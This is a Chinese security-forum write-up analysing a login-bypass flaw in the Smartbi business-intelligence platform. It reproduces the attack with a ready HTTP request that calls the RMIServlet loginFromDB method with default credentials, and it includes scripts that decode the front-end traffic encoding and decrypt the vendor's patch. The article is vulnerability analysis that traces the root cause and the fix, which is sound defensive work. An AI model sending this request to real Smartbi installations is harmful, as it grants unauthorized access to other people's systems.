问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某企业级商业智能大数据分析平台登录绕过分析
漏洞分析
前几天smartbi爆出一个身份绕过的漏洞,使用特定接口就可以直接使用默认账户和密码即可登录系统,但是直接登陆却不行,所以这里来分析一下漏洞造成的原因 0x01 漏洞复现 发送以下payload POST /...
前几天smartbi爆出一个身份绕过的漏洞,使用特定接口就可以直接使用默认账户和密码即可登录系统,但是直接登陆却不行,所以这里来分析一下漏洞造成的原因 0x01 漏洞复现 ========= 发送以下payload ```php POST /smartbi/vision/RMIServlet HTTP/1.1 Host: 127.0.0.1:18080 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6,ja-JP;q=0.5,ja;q=0.4,und;q=0.3 Cache-Control: no-cache Connection: keep-alive Content-Length: 82 Content-Type: application/x-www-form-urlencoded Cookie: FQPassword=; FQConfigLogined=; JSESSIONID=8960DCEA022820DBAE4F00B72BF64FC6; Origin: http://127.0.0.1:18080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 className=UserService&methodName=loginFromDB¶ms=["service","0a"] ``` ![image-20230704170829134](https://shs3.b.qianxin.com/butian_public/f491691088dd2824db87844e0ac84aec988e5bdf42c87.jpg) 然后直接访问`http://127.0.0.1:18080/smartbi/vision/index.jsp`即可登录成功 ![image-20230704171053375](https://shs3.b.qianxin.com/butian_public/f1198079a010a9a0a761bddd802ea8bb3a69135f82e80.jpg) 0x02 漏洞分析 ========= 通过官方补丁查看该漏洞在6月才更新了安全补丁,官网最新版本跟新时间是5月24号,所以我们直接下载官网最新版的10.5即可。 下载安装后在`/smartbi/Tomcat/webapps/smartbi`即为网站程序目录,将项目导入idea后配置进行debug调试代码。 在`web.xml`中我们找到路径`/vision/RMIServlet`所对应的类 ![image-20230704145519389](https://shs3.b.qianxin.com/butian_public/f401294e418a8a7240792a60dd8210b66f041395828c7.jpg) 看到RMI我们会想到RMI远程调用,但这里并不是,这里只是传参然后通过反射的方式调用类和方法并传递参数进行执行。 > Java反射是Java编程语言中的一个特性,它允许程序在运行时动态地获取类的信息并操作类的成员。通过使用反射,我们可以在运行时获取类的构造函数、字段和方法等信息,并且可以动态地创建对象、调用方法和访问字段。 我们看这里的`doPost`的方法: ![image-20230704145910989](https://shs3.b.qianxin.com/butian_public/f63916755def036ca90389b45f5d7d4af265d2c45a95b.jpg) 这里通过post方式或者三个参数`className`,`methodName`,`params`,这里传入的为: ```php className=UserService&methodName=loginFromDB¶ms=["service","0a"] ``` 所以调用`UserService`类的`loginFromDB`方法 ![image-20230704155843079](https://shs3.b.qianxin.com/butian_public/f7150412771b9735c4baddba6d11fae9c3bd71d5067f0.jpg) 继续跟进`this.securityService.loginFromDB(user, password)` ![image-20230704160048860](https://shs3.b.qianxin.com/butian_public/f2284863867094fe64f591cfe1232744ce57698588c32.jpg) 可以看到这里直接将username带入数据库查询用户名所对应的密码,如果与传入的pass相等则将`loginSucceed`置为`true`表示登陆成功(这里进行了预编译,同时无法进行sql注入) 我们进入数据库查看用户信息,果然发现有三个默认用户名及默认密码 ![image-20230704170101815](https://shs3.b.qianxin.com/butian_public/f7149887b71548ee1f2eb1b68fde8fce5d104298e22fb.jpg) 0x03 漏洞成因 ========= 一般分析文章到这里也就结束了,但不妨我们多思考为什么会存在这三个默认账户的密码时0a,而且如果直接从登陆页面登录的话会提示密码错误,只能通过这个接口才能登录成功,所以我们分析以下登录页面的接口时如何处理的。 ![image-20230704161555725](https://shs3.b.qianxin.com/butian_public/f10488403114d2b54f8e6ce3a02da669c42d8bba43465.jpg) 这里我们随意输入账户密码进行抓包,发现请求包和返回包都被加密了 ![image-20230704161735375](https://shs3.b.qianxin.com/butian_public/f902640a1b44fc30b7561d8dc3bba0fcad86998983d9c.jpg)![image-20230704162113990](https://shs3.b.qianxin.com/butian_public/f8828681bf7090aad64cc5f995eee8e22e1939af1ce76.jpg) 如果在发送请求时加密一般都是前端加密,只要分析前端代码就能找到加密方法,如下时前端加解密的方法,使用了字符替换的方法进行加密 全局搜索encode,然后定位到加密代码 ![image-20230707144808636](https://shs3.b.qianxin.com/butian_public/f395800dbbb8c0bddd30cafb04c5c437c376670cc5561.jpg) ![image-20230704162237595](https://shs3.b.qianxin.com/butian_public/f7241953c890b0ae70b8b7abeb210d7f23fc2776cf7c2.jpg) 用python实现加解密的操作 ```python #coding:utf-8 codeArray = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 80, 0, 0, 0, 47, 0, 110, 65, 69, 115, 43, 0, 102, 113, 37, 55, 49, 117, 78, 75, 74, 77, 57, 39, 109, 123, 0, 0, 0, 0, 0, 0, 79, 86, 116, 84, 97, 120, 72, 114, 99, 118, 108, 56, 70, 51, 111, 76, 89, 106, 87, 42, 122, 90, 33, 66, 41, 85, 93, 0, 91, 0, 121, 0, 40, 126, 105, 104, 112, 95, 45, 73, 82, 46, 71, 83, 100, 54, 119, 53, 48, 52, 68, 107, 81, 103, 98, 67, 50, 88, 58, 0, 0, 101, 0] encodeArray = {} decodeArray = {} for i, c in enumerate(codeArray): if c: ic = chr(i) encodeArray[ic] = chr(c) decodeArray[chr(c)] = ic # print(encodeArray) # 用于请求中的加密和返回包中数据的解密 en_data = '' data = """UserService+loginFromDB+%5B%22service%22%2C%220a%22%5D""" for j in data: try: e = encodeArray[j] except: e = j en_data += e print(en_data) # 用于请求中的解密和返回包中数据的加密 de_data = '' data = """zDp4Wp4gRip+iIpiGZp4DRw6+/JV/uuu7uNf7NfN1/u71'/NOJM/NOJN/uu/JT""" for j in data: try: d = decodeArray[j] except: d = j de_data += d print(de_data) ``` 通过解密请求体的内容为`UserService+clickLogin+%5B%22admin%22%2C%22asdasd%22%5D` 可以看到是用`UserService`类的`clickLogin`方法,传入的参数是`["admin","asdasd"]` 查看clickLogin方法,进入到`this.login(userName, password)`方法 ![image-20230704165405481](https://shs3.b.qianxin.com/butian_public/f33844412b6f6d0f09f3d79d7ba6079c35ab3bc5fe967.jpg) 一直跟进最后进入 `this.loginDB(username, password)`方法判断是否登录成功 ![image-20230704165555051](https://shs3.b.qianxin.com/butian_public/f67704927ff564bb8104b5f2a51a0c1d50f94e511187c.jpg) 进入`user.isPasswordValidate()`判断密码是否正确 ![image-20230704165814045](https://shs3.b.qianxin.com/butian_public/f1346194864a863a893aeafd6a01619062f524573aa8d.jpg) 在这个方法里会对数据库里密码的第一位的值进行判断 ![image-20230704153625095](https://shs3.b.qianxin.com/butian_public/f65984361c49ee43e931f3700278dc1c30abb3af6aaf2.jpg) 所以这里的密码分为三种方式存储 1. 如果是以`2`开头的,那在验证时就通过**明文**对比 2. 如果时以`1`开头的,那在验证时就将密码通过**DES**加密后对比 3. 如果时以`0`开头的,那在验证时就将密码通过**MD5**加密后对比 所以这也就是登录绕过的原因也就明了了,**在数据库里确实存在三个默认账户,且存在数据库中的密码是`0a`,当用这三个用户进行正常登录时,在数据库查询到密码是0开头的,所以将数据的密码进行md5加密后与0之后的字符串进行比较,很显然没有任何密码的md5值等于`0`;但是使用`loginFromDB`方法进行登陆时,它直接通过对比数据库中的密码与用户输入的密码进行比较,进而使用`0a`可以登录成功。** 0x04 漏洞补丁分析 =========== 从官网上下载补丁,发现是被加密的 ![image-20230707112807537](https://shs3.b.qianxin.com/butian_public/f1594555e3b2374f973f9ad15676bf301bf11a5b25a9b.jpg) 找到程序加载补丁SecurityPatchExt.ext,可以看到补丁是通过`AES/CBC/PKCS5Padding`加密的 ![image-20230707113021365](https://shs3.b.qianxin.com/butian_public/f35544970441829f1cb5f06d6f76df63986d7e52f4b52.jpg) 编写解密脚本 ```python import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad def aes_decrypt(ciphertext, key, iv): cipher = AES.new(key, AES.MODE_CBC, iv) decrypted_data = cipher.decrypt(ciphertext) return unpad(decrypted_data, AES.block_size) key = b"1234567812345678" iv = b"1234567812345678" with open('patch.patches') as f: base64_ciphertext = f.read() ciphertext = base64.b64decode(base64_ciphertext) plaintext = aes_decrypt(ciphertext, key, iv) output_file = "patch.jar" with open(output_file, "wb") as file: file.write(plaintext) ``` 在中看到直接对使用`UserService`中的`loginFromDB`方法进行了reject ![image-20230707113610578](https://shs3.b.qianxin.com/butian_public/f8766711eeb080e0354a514a6db35267fac335da02c00.jpg) 这里可以看到调用了`RejectRMIPatchRule`,在这个类中可以看到直接将`patchRMI`方法返回了`1` ![image-20230710113833027](https://shs3.b.qianxin.com/butian_public/f72801100aaabc7b0114a6b50dc0c5729985214ddc2b1.jpg) 接着我们查看它继承的父类`RMIServletPatchRule`,其中的`patch`方法中调用了`patchRMI`,并在最后return了`patchRMI`的结果,即1 ![image-20230710113814353](https://shs3.b.qianxin.com/butian_public/f89438724998b86ae4238c88a9bc1edd34291d420c1be.jpg) 在安全补丁的扩展包里的`PatchFilter`会加载所有的安全补丁,然后调用`patch`方法,然后判断result的值,如果为1则返回403 ![image-20230710113721571](https://shs3.b.qianxin.com/butian_public/f4713376737188c4c4a3a8009c0cf0e4e71156b4b9de3.jpg)
发表于 2023-07-25 09:00:00
阅读 ( 5074 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
中铁13层打工人
70 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!